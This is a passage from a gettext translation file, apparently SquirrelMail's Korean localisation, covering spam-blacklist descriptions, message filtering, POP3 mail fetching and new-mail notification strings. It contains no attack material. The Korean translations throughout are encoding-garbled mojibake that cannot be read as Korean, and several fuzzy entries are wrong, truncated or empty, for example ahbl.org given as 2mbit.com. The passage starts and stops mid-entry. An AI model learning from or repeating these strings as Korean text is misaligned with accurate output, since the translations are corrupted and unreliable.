"ìƒìš© - 전화사용ìžëŠ” 종종 ê·¸ë“¤ì´ ISPì˜ ë©”ì¼ ì„œë²„ë¡œ ë©”ì¼ì„ 보내기 ë•Œë¬¸ì— í•„í„°ë§"
"ë  ìˆ˜ 있습니다. 스패머는 전형ì ì¸ 전화모뎀 ì‚¬ìš©ìž ê³„ì •ì„ ì‚¬ìš©í•˜ì—¬ ë©”ì¼ì„ 보냅"
"니다."

msgid "COMMERCIAL - RBL+ Blackhole entries."
msgstr "ìƒìš© - RBL+ 블랙홀 목ë¡"

msgid "COMMERCIAL - RBL+ OpenRelay entries."
msgstr "ìƒìš© - RBL+ ì˜¤í”ˆë¦´ë ˆì´ ëª©ë¡"

msgid "COMMERCIAL - RBL+ Dial-up entries."
msgstr "ìƒìš© - RBL+ ì „í™” ì ‘ì† ëª©ë¡"

msgid ""
"FREE - ORDB was born when ORBS went off the air. It seems to have fewer "
"false positives than ORBS did though."
msgstr "무료 - ORDB는 ORBSì´í›„ì— ìƒê²¨ë‚¬ìŠµë‹ˆë‹¤. ORBS보다 오류가 ì ì–´ë³´ìž…니다."

msgid "FREE - Five-Ten-sg.com - Direct SPAM sources."
msgstr "무료 - Five-Ten-sg.com - 스팸 소스 ì§ì ‘"

msgid "FREE - Five-Ten-sg.com - Dial-up lists - includes some DSL IPs."
msgstr "무료 - Five-Ten-sg.com - ì „í™”ì ‘ì† ëª©ë¡ - ì¼ë¶€ DSL IP í¬í•¨"

msgid "FREE - Five-Ten-sg.com - Bulk mailers that do not use confirmed opt-in."
msgstr "무료 - Five-Ten-sg.com - ë²Œí¬ ë©”ì¼ëŸ¬"

msgid "FREE - Five-Ten-sg.com - Other misc. servers."
msgstr "무료 - Five-Ten-sg.com - 기타 서버"

msgid "FREE - Five-Ten-sg.com - Single Stage servers."
msgstr "무료 - Five-Ten-sg.com - ë‹¨ì¼ ë‹¨ê³„ 서버"

msgid "FREE - Five-Ten-sg.com - SPAM Support servers."
msgstr "무료 - Five-Ten-sg.com - 스팸 ì§€ì› ì„œë²„"

msgid "FREE - Five-Ten-sg.com - Web Form IPs."
msgstr "무료 - Five-Ten-sg.com - ì›¹í¼ IP"

msgid ""
"FREE - Dorkslayers appears to include only really bad open relays outside "
"the US to avoid being sued. Interestingly enough, their website recommends "
"you NOT use their service."
msgstr ""
"무료 - Dorkslaers는 고소를 피하기 위해 미국ì´ì™¸ì˜ 나ë¼ì˜ ìž˜ëª»ëœ ì˜¤í”ˆ ë¦´ë ˆì´ "
"ì„œë²„ë§Œì„ í¬í•¨í•©ë‹ˆë‹¤. í¥ë¯¸ë¡­ê²Œë„, ê·¸ë“¤ì˜ ì›¹ì‚¬ì´íŠ¸ëŠ” ìžì‹ ì˜ 서비스를 사용하지 "
"ë§ê²ƒì„ 권장합니다."

msgid "FREE - SPAMhaus - A list of well-known SPAM sources."
msgstr "무료 - SPAMhaus - 잘 알려진 스팸 목ë¡"

#, fuzzy
msgid ""
"FREE, for now - SpamCop - An interesting solution that lists servers that "
"have a very high spam to legit email ratio (85 percent or more)."
msgstr "현재는 무료 - SPAMCOP - "

msgid "FREE - dev.null.dk - I don't have any detailed info on this list."
msgstr "무료 - dev.null.dk - ì´ ëª©ë¡ì— 대한 ìžì„¸í•œ ì •ë³´ê°€ 없습니다."

msgid "FREE - visi.com - Relay Stop List. Very conservative OpenRelay List."
msgstr "무료 - visi.com - 중계 중지서버 목ë¡. 매우 보수ì ì¸ 오픈중계 서버 목ë¡"

#, fuzzy
msgid "FREE - ahbl.org Open Relays - Another list of Open Relays."
msgstr "무료 - 2mbit.com 오픈 중계 - ë˜ë‹¤ë¥¸ 오픈 중계 서버 목ë¡"

#, fuzzy
msgid "FREE - ahbl.org SPAM Source - List of Direct SPAM Sources."
msgstr "무료 - 2mbit.com 스팸 소스 - 다ì´ë ‰íЏ 스팸 소스 목ë¡"

#, fuzzy
msgid "FREE - ahbl.org SPAM ISPs - List of SPAM-friendly ISPs."
msgstr "무료 - 2mbit.com 스팸 ISP - SPAM으로 ìžì£¼ 사용ë˜ëŠ” ISP 목ë¡"

msgid ""
"FREE - Leadmon DUL - Another list of Dial-up or otherwise dynamically "
"assigned IPs."
msgstr "무료 - Leadmon DUL - ë˜ë‹¤ë¥¸ 전화접ì†ì„œë²„ ëª©ë¡ ë˜ëŠ” 다ì´ë‚˜ë¯¹ 서버"

msgid ""
"FREE - Leadmon SPAM Source - List of IPs Leadmon.net has received SPAM "
"directly from."
msgstr "무료 - Leadmon 스팸 ëª©ë¡ - Leadmon.netì—서 SPAM으로 처리한 IP 목ë¡"

msgid ""
"FREE - Leadmon Bulk Mailers - Bulk mailers that do not require confirmed opt-"
"in or that have allowed known spammers to become clients and abuse their "
"services."
msgstr ""
"무료 - Leadmon Bulk Mailers - ë©”ì¼ ìˆ˜ì‹ í—ˆìš©ì„ í™•ì¸í•˜ì§€ 않는 ë²Œí¬ ë©”ì¼ëŸ¬ ë˜ëŠ” "
"스패머가 í´ë¼ì´ì–¸íŠ¸ê°€ ë˜ì–´ì„œ ê·¸ë“¤ì˜ ì„œë¹„ìŠ¤ë¥¼ 남용할 수 있는 ë©”ì¼ëŸ¬"

msgid ""
"FREE - Leadmon Open Relays - Single Stage Open Relays that are not listed on "
"other active RBLs."
msgstr ""
"무료 - Leadmon 오픈 중계 서버 - 다른 RBLì— ì—†ëŠ” í•œë‹¨ê³„ì˜ ì˜¤í”ˆ 중계 서버"

msgid ""
"FREE - Leadmon Multi-stage - Multi-Stage Open Relays that are not listed on "
"other active RBLs and that have sent SPAM to Leadmon.net."
msgstr ""
"무료 - Leadmon 다단계 - 다른 RBLì—는 없지만 Leadmon.netì—는 ìŠ¤íŒ¸ì„ ë³´ë‚¸ 다단"
"계 중계 서버"

msgid ""
"FREE - Leadmon SpamBlock - Sites on this listing have sent Leadmon.net "
"direct SPAM from IPs in netblocks where the entire block has no DNS "
"mappings. It's a list of BLOCKS of IPs being used by people who have SPAMmed "
"Leadmon.net."
msgstr ""
"무료 - Leadmin SpamBlock - ìŠ¤íŒ¸ì„ ì°¨ë‹¨í•œ Leadmon.net ì‚¬ëžŒë“¤ì´ ì‚¬ìš©í•˜ëŠ” 차단 "
"IP 목ë¡"

msgid ""
"FREE, for now - Not Just Another Blacklist - Both Open Relays and Direct "
"SPAM Sources."
msgstr "현재 무료 - ë˜ë‹¤ë¥¸ 블랙 리스트 - 오픈 중계 서버와 ì§ì ‘ 스팸ì›"

msgid "FREE, for now - Not Just Another Blacklist - Dial-up IPs."
msgstr "현재 무료 - ë˜ë‹¤ë¥¸ 블랙 리스트 - ì „í™”ì ‘ì† IP 목ë¡"

msgid "FREE - Distributed Sender Boycott List - Confirmed Relays"
msgstr "무료 - ë¶„ì‚° ì „ì†¡ìž ê±°ë¶€ ëª©ë¡ - 확ì¸ëœ 릴레ì´"

msgid "FREE - Distributed Sender Boycott List - Confirmed Multi-stage Relays"
msgstr "무료 - ë¶„ì‚° ì „ì†¡ìž ê±°ë¶€ ëª©ë¡ - 확ì¸ëœ 다단계 릴레ì´"

msgid "FREE - Distributed Sender Boycott List - UN-Confirmed Relays"
msgstr "무료 - ë¶„ì‚° ì „ì†¡ìž ê±°ë¶€ ëª©ë¡ - 확ì¸ë˜ì§€ ì•Šì€ ë¦´ë ˆì´"

msgid "WARNING! You must enter something to search for."
msgstr ""

msgid ""
"WARNING! Header filters should be of the format &quot;Header: value&quot;"
msgstr ""

msgid "Saved Scan type"
msgstr "ì €ìž¥ëœ ìŠ¤ìº” 형ì‹"

msgid "Message Filtering"
msgstr "메세지 í•„í„°ë§"

msgid "What to Scan:"
msgstr "스캔 대ìƒ:"

msgid "All messages"
msgstr "전체 메세지"

msgid "Only unread messages"
msgstr "새 메세지만"

msgid "Save"
msgstr "저장"

msgid "Match:"
msgstr "ì¼ì¹˜"

msgid "Header"
msgstr "í—¤ë”"

msgid "Contains:"
msgstr "내용물:"

#, fuzzy, php-format
msgid "If %s contains %s then move to %s"
msgstr "만약 <b>%s</b>ê°€ <b>%s</b>를 í¬í•¨í•˜ë©´ <b>%s</b>로 ì´ë™í•©ë‹ˆë‹¤."

msgid "Message Filters"
msgstr "메세지 필터"

msgid ""
"Filtering enables messages with different criteria to be automatically "
"filtered into different folders for easier organization."
msgstr ""
"메세지 í•„í„°ë§ì€ 여러가지 ë²”ìœ„ì— ë”°ë¼ ìžë™ìœ¼ë¡œ 서로 다른 편지함으로 ì´ë™ 하게 "
"í•¨ìœ¼ë¡œì¨ ì‰½ê²Œ 관리할 수 있게 합니다."

msgid "SPAM Filters"
msgstr "스팸 필터"

msgid ""
"SPAM filters allow you to select from various DNS based blacklists to detect "
"junk email in your INBOX and move it to another folder (like Trash)."
msgstr ""
"스팸 필터는 여러가지 DNS 기반 블랙리스트로부터 ë‹¹ì‹ ì˜ ë©”ì¼ ìˆ˜ì‹ í•¨ì˜ ì •í¬ë©”ì¼"
"ì„ ê²€ì‚¬í•˜ì—¬ 특정 편지함(íœ´ì§€í†µê°™ì€ ê³³)으로 ì´ë™í•©ë‹ˆë‹¤."

#, fuzzy
msgid "You must select a spam folder."
msgstr "편지함 ì„ íƒ"

#, fuzzy
msgid "You must select a scan type."
msgstr "하나를 ì„ íƒí•´ì•¼ 합니다."

msgid "Spam Filtering"
msgstr "스팸 í•„í„°ë§"

#, fuzzy, php-format
msgid "WARNING! Tell the administrator to set the %s variable."
msgstr "경고! 관리ìžì—세 SpamFilters_YourHop 변수 설정요청하세요."

msgid "Move spam to:"
msgstr "스팸 ë©”ì¼ë¡œ ì´ë™:"

msgid ""
"Moving spam directly to the trash may not be a good idea at first, since "
"messages from friends and mailing lists might accidentally be marked as "
"spam. Whatever folder you set this to, make sure that it gets cleaned out "
"periodically, so that you don't have an excessively large mailbox hanging "
"around."
msgstr ""
"ìŠ¤íŒ¸ì„ ì§ì ‘ 휴지통으로 버리는 ê²ƒì€ ì¢‹ì€ ë°©ë²•ì´ ì•„ë‹™ë‹ˆë‹¤. 친구나 ë©”ì¼ë§ 리스트"
"ì—서 온 ë©”ì¼ì´ 스팸으로 í‘œì‹œë  ìˆ˜ë„ ìžˆê¸° 때문입니다.ì–´ë–¤ íŽ¸ì§€í•¨ì„ ì„¤ì •í•˜ë“ ì§€ "
"정기ì ìœ¼ë¡œ ê·¸ íŽ¸ì§€í•¨ì„ ë¹„ì›Œì•¼ 하는 ê²ƒì„ ê¸°ì–µí•˜ì‹œê¸° ë°”ëžë‹ˆë‹¤. 그렇게 í•¨ìœ¼ë¡œì¨ "
"íŽ¸ì§€í•¨ì´ ë„ˆë¬´ 커져버리는 ê²ƒì„ ë§‰ì„ ìˆ˜ 있습니다."

#, fuzzy
msgid "Unread messages only"
msgstr "새 메세지만"

#, fuzzy
msgid ""
"The more messages scanned, the longer it takes. It's recommended to scan "
"unread messages only. If a change to the filters is made, it's recommended "
"to set it to scan all messages, then go view the INBOX, then come back and "
"set it to scan unread messages only. That way, the new spam filters will be "
"applied and even the spam you didn't catch with the old filters will be "
"scanned."
msgstr ""
"ë§Žì€ ë©”ì„¸ì§€ë¥¼ 검사하면 할수ë¡, ì‹œê°„ì´ ë” ê±¸ë¦½ë‹ˆë‹¤. 새로운 ë©”ì„¸ì§€ì— ëŒ€í•´ì„œë§Œ "
"검사를 í•  ê²ƒì„ ê¶Œí•©ë‹ˆë‹¤. 만약 í•„í„°ë§ì„ 변경하게 ë˜ë©´, ì „ì²´ 메세지로 설정ìƒíƒœ"
"ê°€ 변경ë©ë‹ˆë‹¤. ë°›ì€ íŽ¸ì§€í•¨ë³´ê¸°ë¥¼ 갔다가 ëŒì•„오신후 새메세지로 설정하시기 ë°”ëž"
"니다. 그렇게 í•¨ìœ¼ë¡œì¨ ìƒˆë¡œìš´ ìŠ¤íŒ¸ë©”ì¼ í•„í„°ë§ ê·œì¹™ì´ ì ìš©ë  것입니다."

#, fuzzy, php-format
msgid "Spam is sent to %s."
msgstr "스팸메ì¼ì€ <b>%s</b>로 ì´ë™í•©ë‹ˆë‹¤."

#, fuzzy
msgid "not set yet"
msgstr "[<i>ì•„ì§ ì„¤ì •ë˜ì§€ 않았습니다.</i>]"

#, fuzzy, php-format
msgid "Spam scan is limited to %s."
msgstr "ìŠ¤íŒ¸ë©”ì¼ ê²€ì‚¬ <b>%s</b>ë©”ì„¸ì§€ì— ëŒ€í•´ì„œ 합니다."

msgid "ON"
msgstr "사용"

msgid "OFF"
msgstr "사용하지 않ìŒ"

#, fuzzy, php-format
msgid "%s is not found."
msgstr " 찾지 못함."

msgid "Today's Fortune"
msgstr "ì˜¤ëŠ˜ì˜ í¬ì¸ˆ."

msgid "Fortunes:"
msgstr "í¬ì¸ˆ:"

msgid "Show fortunes at top of mailbox"
msgstr "ë©”ì¼ë°•스 ìƒë‹¨ì— í¬ì¸ˆ 보여주기"

msgid "Plugin is disabled."
msgstr ""

msgid "IMAP server information"
msgstr "IMAP 서버 정보"

#, fuzzy
msgid ""
"Run some test IMAP commands, displaying both the command and the result. "
"These tests use the SquirrelMail IMAP commands and your current SquirrelMail "
"configuration. Custom command strings can be used."
msgstr ""
"ì•½ê°„ì˜ IMAP 명령어를 실행합니다. 명령어와 ê·¸ 결과를 ë³´ì—¬ì¤ë‹ˆë‹¤. ì´ í…ŒìŠ¤íŠ¸ë“¤"
"ì€ SquirrelMail IMAP 명령어와 현재 SquirrelMail ì„¤ì •ì„ ì‚¬ìš©í•©ë‹ˆë‹¤. ì‚¬ìš©ìž ëª…"
"령어 문ìžì—´ë„ 사용할 수 있습니다."

msgid "Mailinglist"
msgstr "ë©”ì¼ë§ 리스트"

#, php-format
msgid ""
"This will send a message to %s requesting help for this list. You will "
"receive an emailed response at the address below."
msgstr ""
"ì´ ë¦¬ìŠ¤íŠ¸ì— ëŒ€í•œ ë„ì›€ë§ %s 요청 메세지를 보내게 ë©ë‹ˆë‹¤. ì´ê²ƒì€ ì•„ëž˜ì˜ ì£¼ì†Œë¡œ"
"부터 ì´ë©”ì¼ íšŒì‹ ì„ ë°›ê²Œ ë©ë‹ˆë‹¤."

#, php-format
msgid ""
"This will send a message to %s requesting that you will be subscribed to "
"this list. You will be subscribed with the address below."
msgstr ""
"ì´ ë¦¬ìŠ¤íŠ¸ë¥¼ 가입하기 위한 %s 요청 메세지를 보내게 ë©ë‹ˆë‹¤. ì´ê²ƒì€ ì•„ëž˜ì˜ ì£¼ì†Œ"
"ì— ê°€ìž…í•˜ê¸°ë¥¼ 시ë„합니다."

#, php-format
msgid ""
"This will send a message to %s requesting that you will be unsubscribed from "
"this list. It will try to unsubscribe the adress below."
msgstr ""
"ì´ ë¦¬ìŠ¤íŠ¸ë¥¼ 탈퇴하기 위한 %s 요청 메세지를 보내게 ë©ë‹ˆë‹¤. ì´ê²ƒì€ ì•„ëž˜ì˜ ì£¼ì†Œ"
"ì—서 탈퇴하기를 시ë„합니다."

msgid "Send Mail"
msgstr "ë©”ì¼ ë³´ë‚´ê¸°"

msgid "Post to List"
msgstr "ë¦¬ìŠ¤íŠ¸ì— ë©”ì¼ ë³´ë‚´ê¸°"

msgid "Reply to List"
msgstr "ë¦¬ìŠ¤íŠ¸ì— íšŒì‹ "

msgid "List Archives"
msgstr "리스트 목ë¡"

msgid "Contact Listowner"
msgstr "ë¦¬ìŠ¤íŠ¸ê´€ë¦¬ìž ì—°ë½ì²˜"

msgid "Mailing List"
msgstr "ë©”ì¼ë§ 리스트"

msgid "POP3 connect:"
msgstr "POP3 ì—°ê²°:"

msgid "No server specified"
msgstr "서버를 지정하지 않았습니다."

msgid "Error "
msgstr "오류 "

msgid "POP3 user:"
msgstr "POP3 사용ìž:"

msgid "no login ID submitted"
msgstr "ë¡œê·¸ì¸ IDê°€ 없습니다."

msgid "connection not established"
msgstr "ì—°ê²°ë˜ì§€ 않았습니다."

msgid "POP3 pass:"
msgstr "POP3 패스워드:"

msgid "No password submitted"
msgstr "비밀번호가 없습니다."

msgid "authentication failed "
msgstr "ì¸ì¦ 실패 "

msgid "POP3 apop:"
msgstr "POP3 apop:"

msgid "No connection to server"
msgstr "서버 ì—°ê²° ì—†ìŒ"

msgid "No login ID submitted"
msgstr "ë¡œê·¸ì¸ IDê°€ 없습니다."

msgid "No server banner"
msgstr "ì°¨ë‹¨ëœ ì„œë²„ê°€ 없습니다."

msgid "abort"
msgstr "취소"

msgid "apop authentication failed"
msgstr "apop ì¸ì¦ 오류"

msgid "POP3 login:"
msgstr "POP3 로그ì¸:"

msgid "POP3 top:"
msgstr "POP3 top:"

msgid "POP3 pop_list:"
msgstr "POP3 pop_list:"

msgid "Premature end of list"
msgstr "ë¦¬ìŠ¤íŠ¸ì˜ ëì´ ë¹„ì •ìƒì ìž…니다."

msgid "POP3 get:"
msgstr "POP3 가져오기:"

msgid "POP3 last:"
msgstr "POP3 last:"

msgid "POP3 reset:"
msgstr "POP3 초기화:"

msgid "POP3 send_cmd:"
msgstr "POP3 전송 명령어:"

msgid "Empty command string"
msgstr "명령어가 비어있습니다."

msgid "POP3 quit:"
msgstr "POP3 종료:"

msgid "connection does not exist"
msgstr "ì—°ê²°ëœ ì„œë²„ê°€ 존재하지 않습니다."

msgid "POP3 uidl:"
msgstr "POP3 uidl:"

msgid "POP3 delete:"
msgstr "POP3 삭제:"

msgid "No msg number submitted"
msgstr "메세지 번호가 없습니다."

msgid "Command failed "
msgstr "명령어 실패"

msgid "Remote POP server Fetching Mail"
msgstr "ì›ê²© POP 서버ì—서 ë©”ì¼ ê°€ì ¸ì˜¤ê¸°"

msgid "Select Server:"
msgstr "서버 ì„ íƒ:"

msgid "Password for"
msgstr "비밀번호 "

msgid "Fetch Mail"
msgstr "ë©”ì¼ ê°€ì ¸ì˜¤ê¸°"

msgid "Fetching from "
msgstr "가져오기"

msgid "Oops, "
msgstr "ì—구ì—구,"

msgid "Opening IMAP server"
msgstr "IMAP 서버 열기"

msgid "Opening POP server"
msgstr "POP 서버 열기"

msgid "Login Failed:"
msgstr "ë¡œê·¸ì¸ ì‹¤íŒ¨:"

msgid "Login OK: No new messages"
msgstr "ë¡œê·¸ì¸ í™•ì¸: 새로운 메세지가 없습니다"

msgid "Login OK: Inbox EMPTY"
msgstr "ë¡œê·¸ì¸ í™•ì¸: íŽ¸ì§€í•¨ì´ ë¹„ì–´ìžˆìŠµë‹ˆë‹¤."

#, fuzzy, php-format
msgid "Login OK: Inbox contains %s messages"
msgstr "ë¡œê·¸ì¸ í™•ì¸: íŽ¸ì§€í•¨ì— [ ê°€ 있습니다."

msgid "Fetching UIDL..."
msgstr "UIDL 가져오기..."

msgid "Server does not support UIDL."
msgstr "서버가 UIDLì„ ì§€ì›í•˜ì§€ 않습니다."

#, fuzzy
msgid "Leaving mail on server..."
msgstr "ì„œë²„ì— ë©”ì¼ ë‚¨ê²¨ë‘기..."

msgid "Deleting messages from server..."
msgstr "서버ì—서 메세지 삭제하기..."

msgid "Fetching message "
msgstr "메세지 가져오기"

#, fuzzy
msgid "Server error. Disconnect"
msgstr "서버 오류...연결종료"

msgid "Reconnect from dead connection"
msgstr "ëŠì–´ì§„ ì—°ê²° 다시 ì—°ê²°"

msgid "Saving UIDL"
msgstr "UIDL ë³´ê´€"

msgid "Refetching message "
msgstr "메세지 다시 가져오기"

msgid "Error Appending Message!"
msgstr "메세지 추가 오류"

msgid "Closing POP"
msgstr "POP서버 닫기"

msgid "Logging out from IMAP"
msgstr "IMAP 서버 로그아웃"

msgid "Message appended to mailbox"
msgstr "íŽ¸ì§€í•¨ì— ë©”ì„¸ì§€ 추가"

#, fuzzy, php-format
msgid "Message %d deleted from remote server!"
msgstr " ì›ê²©ì„œë²„ì—서 ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤!"

msgid "Delete failed:"
msgstr "삭제 오류:"

msgid "Remote POP server settings"
msgstr "ì›ê²© POP 서버 설정"

#, fuzzy
msgid ""
"You should be aware that the encryption used to store your password is not "
"perfectly secure. However, if you are using pop, there is inherently no "
"encryption anyway. Additionally, the encryption that we do to save it on the "
"server can be undone by a hacker reading the source to this file."
msgstr ""
"비밀번호를 ì €ìž¥í•˜ëŠ”ë° ì‚¬ìš©í•˜ëŠ” 암호화는 완벽하게 안전한 ê²ƒì´ ì•„ë‹˜ì— ìœ ì˜í•˜ì‹œ"
"기 ë°”ëžë‹ˆë‹¤. ë˜í•œ, popì„ ì‚¬ìš©í•œë‹¤ë©´, 암호화를 하지 않습니다. ë”우기 ì„œë²„ì— ì €"
"장하기 위해 사용하는 암호화는 해커가 파ì¼ì— 접근하게 ë˜ëŠ” 경우 í•´ë…ë  ìˆ˜ 있습"
"니다."

#, fuzzy
msgid "If you leave password empty, it will be asked when you fetch mail."
msgstr "비밀번호를 비워ë‘ë©´, ë©”ì¼ì„ 가져올 때 비밀번호를 입력해야 합니다."

msgid "Encrypt passwords (informative only)"
msgstr "비밀번호 암호화"

msgid "Add Server"
msgstr "서버 추가"

msgid "Server:"
msgstr "서버:"

msgid "Port:"
msgstr "í¬íЏ:"

msgid "Alias:"
msgstr "가명:"

msgid "Username:"
msgstr "ì‚¬ìš©ìž ì´ë¦„:"

msgid "Store in Folder:"
msgstr "íŽ¸ì§€í•¨ì— ë³´ê´€:"

#, fuzzy
msgid "Leave mail on server"
msgstr "서버ìƒì— ë©”ì¼ ë‚¨ê¸°ê¸°"

#, fuzzy
msgid "Check mail at login"
msgstr "로그ì¸ì‹œ ë©”ì¼ ê²€ì‚¬"

#, fuzzy
msgid "Check mail at folder refresh"
msgstr "편지함 갱신 중 ë©”ì¼ ê²€ì‚¬"

msgid "Modify Server"
msgstr "서버 변경"

msgid "Server Name:"
msgstr "서버 ì´ë¦„: "

msgid "Modify"
msgstr "변경"

#, fuzzy
msgid "No servers known."
msgstr "ì°¨ë‹¨ëœ ì„œë²„ê°€ 없습니다."

msgid "Fetching Servers"
msgstr "서버 ëª©ë¡ ê°€ì ¸ì˜¤ê¸°"

msgid "Confirm Deletion of a Server"
msgstr "서버 ì‚­ì œ 확ì¸"

msgid "Selected Server:"
msgstr "ì„ íƒëœ 서버:"

msgid "Confirm delete of selected server?"
msgstr "ì„ íƒëœ 서버를 삭제하시겠습니까?"

msgid "Confirm Delete"
msgstr "ì‚­ì œ 확ì¸"

msgid "Leave Mail on Server"
msgstr "서버ìƒì— ë©”ì¼ ë‚¨ê¸°ê¸°"

msgid "Undefined Function"
msgstr "설정ë˜ì§€ ì•Šì€ ê¸°ëŠ¥"

msgid "The function you requested is unknown."
msgstr ""

msgid "Fetch"
msgstr "가져오기"

msgid "Warning, "
msgstr "경고, "

msgid "Mail Fetch Result:"
msgstr "ë©”ì¼ ê°€ì ¸ì˜¤ê¸° ê²°ê³¼:"

#, fuzzy
msgid "POP3 Fetch Mail"
msgstr "간단한 POP3 ë©”ì¼ ê°€ì ¸ì˜¤ê¸°"

#, fuzzy
msgid ""
"This configures settings for downloading email from a POP3 mailbox to your "
"account on this server."
msgstr ""
"ì´ ì„¤ì •ì€ ì„œë²„ì—서 ë‹¹ì‹ ì˜ ê³„ì •ìœ¼ë¡œ pop3 편지함으로부터 ì´ë©”ì¼ì„ ë‹¤ìš´ë°›ì„ ìˆ˜ "
"있게 설정합니다."

msgid "Message Details"
msgstr "ìƒì„¸ 메세지"

msgid "Bodystructure"
msgstr ""

#, fuzzy
msgid "Entity"
msgstr "수정"

msgid "Content-Type"
msgstr ""

msgid "Encoding"
msgstr ""

#, fuzzy
msgid "RFC822 Message body"
msgstr "메세지 본문뒤ì—서 사용"

msgid "Close Window"
msgstr "창 닫기"

msgid "Save Message"
msgstr "메세지 저장"

msgid "View Message details"
msgstr "ìƒì„¸ 메세지 보기"

msgid "New Mail"
msgstr "새로운 ë©”ì¼"

msgid "SquirrelMail Notice:"
msgstr "SquirrelMail 통지:"

#, fuzzy, php-format
msgid "You have %s new message"
msgid_plural "You have %s new messages"
msgstr[0] "새로운 ë©”ì¼ì´ ë„착했습니다!"
msgstr[1] "새로운 ë©”ì¼ì´ ë„착했습니다!"

#, fuzzy, php-format
msgid "You have %s new messages"
msgstr "새로운 ë©”ì¼ì´ ë„착했습니다!"

msgid "New Mail Notification"
msgstr "새로운 ë©”ì¼ í†µì§€"

#, fuzzy, php-format
msgid ""
"The %s option will check ALL of your folders for unseen mail, not just the "
"inbox for notification."
msgstr ""
"<b>ë°›ì€ íŽ¸ì§€í•¨ì„ ì œì™¸í•œ 모든 편지함 검사</b> ì„¤ì •ì€ inbox(수신함)ì„ ì œì™¸í•œ 모"
"ë“  ë©”ì¼í•¨ì˜ ì½ì§€ ì•Šì€ ë©”ì¼ì„ 검사합니다."

msgid "Check all boxes, not just INBOX"
msgstr "ë°›ì€ íŽ¸ì§€í•¨ì„ ì œì™¸í•œ 모든 편지함 검사"

#, fuzzy, php-format
msgid ""
"Selecting the %s option will enable the showing of a popup window when "
"unseen mail is in your folders (requires JavaScript)."
msgstr ""
"<b>íŒì—…ì°½ 보여주기</b> ì„¤ì •ì€ íŽ¸ì§€í•¨ì— ì½ì§€ ì•Šì€ ë©”ì„¸ì§€ê°€ 있는 경우 íŒì—…ì°½ì„ "
"ë³´ì—¬ì¤ë‹ˆë‹¤. (ì´ ê¸°ëŠ¥ì€ ìžë°”스í¬ë¦½íŠ¸ë¥¼ 사용합니다.)"

msgid "Show popup window on new mail"
msgstr "새로운 ë©”ì¼ ë„착시 íŒì—…ì°½ 보여주기"

#, fuzzy, php-format
msgid ""
"Use the %s option to only check for messages that are recent. Recent "
"messages are those that have just recently showed up and have not been "
"\"viewed\" or checked yet. This can prevent being continuously annoyed by "
"sounds or popups for unseen mail."
msgstr ""
"<b>최근 메세지만</b> ì„¤ì •ì€ ë©”ì„¸ì§€ê°€ 최근 메세지ì¸ì§€ë§Œ 검사합니다. 최근 메세"
"지는 메세지가 ì•„ì§ \"ì½ì€ 메세지\"로 표시ë˜ì§€ 않는 ê²ƒì„ ë‚˜íƒ€ëƒ…ë‹ˆë‹¤. ì´ ê²ƒì€ "
"ì½ì§€ ì•Šì€ ë©”ì„¸ì§€ì— ëŒ€í•´ 사운드 연주나 íŒì—…ì°½ ë„우기를 ì‚¬ìš©í• ë•Œì˜ ë²ˆê±°ë¡œì›€ì„ "
"없애ì¤ë‹ˆë‹¤."

msgid "Count only messages that are RECENT"
msgstr "최근 메세지만 카운트"

#, fuzzy, php-format
msgid ""
"Selecting the %s option will change the title in some browsers to let you "
"know when you have new mail (requires JavaScript, and only works in IE but "
"you won't see errors with other browsers). This will always tell you if you "
"have new mail, even if you have %s enabled."
msgstr ""
"<b>제목 변경</b>ì„¤ì •ì€ ìƒˆë¡œìš´ 메세지가 ë„ì°©í–ˆì„때 브ë¼ìš°ì €ì˜ 타ì´í‹€ì„ 변경 í•©"
"니다. (ìžë°”스í¬ë¦½íŠ¸ë¥¼ 사용하며, IEì—서만 ë™ìž‘하며 다른 브ë¼ìš°ì €ì—서는 아무런 "
"효과가 없습니다. <b>최근 메세지만</b>ê¸°ëŠ¥ì„ ì‚¬ìš©í•˜ë”ë¼ë„  새로운 ë©”ì¼ì´ ë„ì°©"
"하면 í•­ìƒ ì•Œë ¤ì£¼ê²Œ ë©ë‹ˆë‹¤."

#, fuzzy
msgid "Change title on supported browsers"
msgstr "브ë¼ìš°ì €ê°€ ì§€ì›í•˜ë©´ 제목 변경"

#, fuzzy, php-format
msgid ""
"Select %s to turn on playing a media file when unseen mail is in your "
"folders. When enabled, you can specify the media file to play in the "
"provided file box."
msgstr ""
"ì½ì§€ ì•Šì€ ë©”ì„¸ì§€ê°€ íŽ¸ì§€í•¨ì— ìžˆëŠ” 경우 <b>미디어 연주 설정</b>ì„ ì„ íƒí•˜ê²Œ ë˜"
"ë©´ 미디어 파ì¼ì„ 연주합니다. ì´ ê¸°ëŠ¥ì„ ì‚¬ìš©í• ë•Œì—는 연주할 미디어 파ì¼ì„ 명시"
"해야 합니다."

msgid "Enable Media Playing"
msgstr "미디어 연주 설정"

#, php-format
msgid ""
"Select from the list of %s the media file to play when new mail arrives. If "
"no file is specified, %s, no sound will be used."
msgstr ""

#, fuzzy
msgid "Select server file"
msgstr "서버 íŒŒì¼ ì„ íƒ:"

#, fuzzy
msgid "(none)"
msgstr "완료"

msgid "requires JavaScript to work"
msgstr "ìžë°”스í¬ë¦½íŠ¸ê°€ 필요합니다."

msgid "Try"
msgstr "시ë„"

msgid "Current File:"
msgstr "현재 파ì¼:"

msgid "NewMail Options"
msgstr "NewMail 설정"

msgid ""
"This configures settings for playing sounds and/or showing popup windows "
"when new mail arrives."
msgstr ""
"새로운 ë©”ì¼ì´ ë„ì°©í–ˆì„때 사운드연주할 것ì¸ì§€ ë˜ëŠ” íŒì—… ì°½ì„ ë³´ì—¬ì¤„ 것ì´ì§€ë¥¼ "
"설정합니다."

#, php-format
msgid "%s New Messages"
msgstr "%s 새 메세지"

#, fuzzy, php-format
msgid "%s New Message"
msgid_plural "%s New Messages"
msgstr[0] "%s 새 메세지"
msgstr[1] "%s 새 메세지"

msgid "Test Sound"
msgstr "사운드 테스트"

#, fuzzy
msgid "No sound specified"
msgstr "서버를 지정하지 않았습니다."

msgid "Loading the sound..."
msgstr "사운드 불러오기..."

msgid "Sent Subfolders Options"
msgstr "보낸 편지함 하위í´ë” 유형"

msgid "Use Sent Subfolders"
msgstr "보낸 편지함 하위í´ë” 사용"

msgid "Monthly"
msgstr "월별"

msgid "Quarterly"
msgstr "분기별"

msgid "Yearly"
msgstr "년별"

msgid "Base Sent Folder"
msgstr "보낸 편지함"

#, fuzzy
msgid "Enabled"
msgstr "사용하지 않ìŒ"

#, fuzzy
msgid "Disable it"
msgstr "사용하지 않ìŒ"

msgid "Enable it"
msgstr ""

#, fuzzy
msgid "Spam reporting"
